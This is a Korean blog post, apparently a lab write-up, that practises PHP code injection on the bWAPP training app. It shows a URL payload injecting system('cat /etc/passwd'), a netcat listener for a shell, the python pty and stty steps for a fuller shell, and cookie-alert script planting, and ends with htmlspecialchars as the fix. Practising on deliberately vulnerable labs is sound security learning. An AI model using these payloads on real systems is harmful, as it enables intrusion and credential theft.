실습 환경 구축은 이 글에 설명되어있다. (https://rimystory.tistory.com/18)
PHP Code Injection: PHP에서 exec() 함수나 eval() 함수를 사용한 경우 세미 콜론(;)을 사용하여 다른 함수를 실행할 수 있는 취약점을 활용한 공격.
1. 난이도: low
phpi.php 페이지는 message 글씨를 클릭하면 test라는 문자열을 출력하는 페이지이다.
이 때 URL을 보면 GET 메소드로 요청하는 것을 알 수 있다. 따라서 test 대신 다른 문자를 입력하면 그대로 출력된다.
[결과화면]

공격 방법: php 코드 인젝션 취약점이 있는지 파악하기 위하여 세미 콜론과 system 함수를 사용해본다.
system 함수는 문자열 형태의 명령어를 인자 값으로 받아서 해당하는 명령어를 실행한다.
[공격 코드 예시]
http://192.168.56.101/bWAPP/phpi.php?message=Success;system('cat /etc/passwd')

공격 성공.
하지만 이 방식은 웹 권한으로 실행하여 passwd 파일은 열리지만 아래와 같이 shadow 파일은 열 수 없다.

따라서 권한 상승을 위해 넷캣을 사용하여 root 권한을 획득하여야 한다.
넷캣을 사용하면 악의적인 스크립트 파일을 서버에 추가할 수도 있다.
우선 칼리 리눅스를 열어 root 권한으로 접속한다.
초기 칼리 리눅스 비밀번호는 kali 이다. sudo su 명령으로 접속할 수 있다.
nc -l -p 666 명령을 실행하고 브라우저에 다시 접속하여 넷캣을 실행한다.

whoami 명령이 실행된 것을 볼 수 있다.
하지만 넷캣으로 Shell을 사용하기 때문에 프롬프트가 없고 vi 편집기도 사용할 수 없다.
따라서 'pseudo-terminal'을 사용하는 명령어를 입력한다.
python -c 'import pty;pty.spawn("/bin/bash")'

위와 같이 일반적인 터미널 같은 프롬프트가 출력된다.
echo 명령어와 pwd 명령어로 /var/www/bWAPP에 간단한 스크립트 코드가 포함된 파일을 생성한다.

이제 다시 브라우저에서 attack.html 파일로 접속하면 해당 파일이 실행되는 것을 볼 수 있다.

사용자의 쿠키 정보가 alert로 뜬다. 공격 성공.
(+ 추가)
python -c 'import pty;pty.spawn("/bin/bash")'
공격자 (칼리리눅스) 쉘에서 넷캣 연결 후 위 명령어를 실행하면 일반 프롬프트 처럼 뜨는데, 이 때 Ctrl+Z나 Ctrl+C를 누르면 실행 종료가 된다.
이것을 막기 위해 아래 명령어를 추가로 입력하면 온전한 쉘 획득이 가능하다.
ctrl+z
stty raw -echo; fg
reset
screen
export SHELL=bash
export TERM=xterm-256color
[실행화면]

2. 난이도: medium, high

난이도 하와 같이 message 변수를 조작해도 공격이 실패한다.
코드를 확인하면 난이도 중/상은 htmlspecialchars 함수를 쓰는 것을 볼 수 있다.

(대응방안)
htmlspecialchars 함수는 두 번째 인자에 'ENT_QUOTES'를 추가하여 크로스 사이트 스크립팅에 사용되는 특수 문자들을 HTML 엔티티 코드로 변하여 문자열로 인식된다.
'Projects > 애플리케이션 보안' 카테고리의 다른 글
| [bWAPP] SQL Injection(POST/Search) 공격 실습 (3) | 2025.08.25 |
|---|---|
| [bWAPP] SQL Injection(GET/Search) 공격 실습 (2) | 2025.08.25 |
| [bWAPP] OS Command Injection 공격 실습 (0) | 2025.08.21 |
| [bWAPP] iFrame Injection 공격 실습 (0) | 2025.08.21 |
| [bWAPP] HTML Injection - Stored (Blog) 공격 실습 (0) | 2025.08.21 |